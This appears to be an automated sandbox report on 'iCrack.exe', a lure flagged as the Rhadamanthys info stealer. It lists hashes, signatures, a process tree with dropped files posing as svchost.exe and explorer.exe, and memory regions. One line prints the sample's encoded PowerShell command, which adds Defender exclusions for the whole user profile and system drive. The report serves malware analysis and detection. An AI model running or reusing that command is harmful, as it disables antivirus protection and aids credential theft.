Analysis

  • max time kernel
    117s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05-04-2024 00:11

General

  • Target

    iCrack.exe

  • Size

    4.8MB

  • MD5

    f3b1dd838a59c419431c5aa86c1a4feb

  • SHA1

    85ac1eb8a03bedcfbc3d44cedeb802f5cae2ea0a

  • SHA256

    fad83422bd338909393c57663ab1bcafb94ec684f74fdb95aaad925e82567fa3

  • SHA512

    dbaac6b3c531cd84eac6a9440534d18cbc599826357b1efe36cdd16be163bd68c6ddd4d3211efca0d5e8c2ca6868cfb0fb3c3e0584c515b89e1ab1cac8ef6889

  • SSDEEP

    98304:1vW7Ru1fkpfVmr/V9JfzD+p05u9qgo67Smy9BHbCMMjgml7/lg+QXcAz:JibHmTJfzAyQRoRmA1H8eFsA

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1336
      • C:\Users\Admin\AppData\Local\Temp\iCrack.exe
        "C:\Users\Admin\AppData\Local\Temp\iCrack.exe"
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAegBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AegB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAeQB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwByACMAPgA="
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2332
        • C:\Users\Admin\AppData\Roaming\svchost.exe
          "C:\Users\Admin\AppData\Roaming\svchost.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1404
        • C:\Users\Admin\AppData\Local\explorer.exe
          "C:\Users\Admin\AppData\Local\explorer.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2528
          • C:\Users\Admin\AppData\Local\explorer.exe
            "C:\Users\Admin\AppData\Local\explorer.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:2600
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2496

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\_MEI25282\python310.dll

      Filesize

      1.4MB

      MD5

      3f782cf7874b03c1d20ed90d370f4329

      SHA1

      08a2b4a21092321de1dcad1bb2afb660b0fa7749

      SHA256

      2a382aff16533054e6de7d13b837a24d97ea2957805730cc7b08b75e369f58d6

      SHA512

      950c039eb23ed64ca8b2f0a9284ebdb6f0efe71dde5bbf0187357a66c3ab0823418edca34811650270eea967f0e541eece90132f9959d5ba5984405630a99857

    • \Users\Admin\AppData\Local\explorer.exe

      Filesize

      4.4MB

      MD5

      ce453607540a4b0e0c88476042d31791

      SHA1

      9fe09b42424e044a7c11aea2f214a3d86de8f5a1

      SHA256

      9a10c5b653feff9be0898a0ae18f7479e36275896bd4482f1fec237cf9ce619c

      SHA512

      f0fdcd4e5fdbc03d4a3bb1eee4b69c6bf2585a609f9fc56739e9320d1072a7935ce126e7dc737ad1592f64023c3a17d0e0dd659a5d3a4ee940ca2301e81912ee

    • \Users\Admin\AppData\Roaming\svchost.exe

      Filesize

      355KB

      MD5

      2ef91bf37b3da8cad6751b665bd4e6af

      SHA1

      5c15bbc721f91855388861d378cf9d26a140cead

      SHA256

      5263ecab05efc0fda51526658fdfa446f6108c009b8c2ddc9dd93ba29ea691b7

      SHA512

      16f1846fde3d65413d1c478b59761cb5b74c5fa4556c7234858010efc05e81e305c9054895e388e9de85f6a55d05d6ac0236ed85dcdce3b82b0a82b4986eb2a3

    • memory/1248-12-0x00000000023F0000-0x000000000245D000-memory.dmp

      Filesize

      436KB

    • memory/1248-9-0x00000000023F0000-0x000000000245D000-memory.dmp

      Filesize

      436KB

    • memory/1404-40-0x0000000002E10000-0x0000000003210000-memory.dmp

      Filesize

      4.0MB

    • memory/1404-38-0x0000000002E10000-0x0000000003210000-memory.dmp

      Filesize

      4.0MB

    • memory/1404-13-0x0000000000210000-0x000000000027D000-memory.dmp

      Filesize

      436KB

    • memory/1404-41-0x0000000077A10000-0x0000000077BB9000-memory.dmp

      Filesize

      1.7MB

    • memory/1404-42-0x0000000002E10000-0x0000000003210000-memory.dmp

      Filesize

      4.0MB

    • memory/1404-44-0x00000000776E0000-0x0000000077727000-memory.dmp

      Filesize

      284KB

    • memory/1404-46-0x0000000000210000-0x000000000027D000-memory.dmp

      Filesize

      436KB

    • memory/2332-62-0x00000000746D0000-0x0000000074C7B000-memory.dmp

      Filesize

      5.7MB

    • memory/2332-60-0x00000000026D0000-0x0000000002710000-memory.dmp

      Filesize

      256KB

    • memory/2332-48-0x00000000746D0000-0x0000000074C7B000-memory.dmp

      Filesize

      5.7MB

    • memory/2332-49-0x00000000746D0000-0x0000000074C7B000-memory.dmp

      Filesize

      5.7MB

    • memory/2332-50-0x00000000026D0000-0x0000000002710000-memory.dmp

      Filesize

      256KB

    • memory/2332-58-0x00000000026D0000-0x0000000002710000-memory.dmp

      Filesize

      256KB

    • memory/2496-53-0x00000000006B0000-0x0000000000AB0000-memory.dmp

      Filesize

      4.0MB

    • memory/2496-55-0x0000000077A10000-0x0000000077BB9000-memory.dmp

      Filesize

      1.7MB

    • memory/2496-57-0x00000000776E0000-0x0000000077727000-memory.dmp

      Filesize

      284KB

    • memory/2496-52-0x00000000006B0000-0x0000000000AB0000-memory.dmp

      Filesize

      4.0MB

    • memory/2496-59-0x0000000077A10000-0x0000000077BB9000-memory.dmp

      Filesize

      1.7MB

    • memory/2496-45-0x0000000000080000-0x0000000000089000-memory.dmp

      Filesize

      36KB

    • memory/2496-61-0x00000000006B0000-0x0000000000AB0000-memory.dmp

      Filesize

      4.0MB

    • memory/2600-35-0x000007FEF6560000-0x000007FEF69C6000-memory.dmp

      Filesize

      4.4MB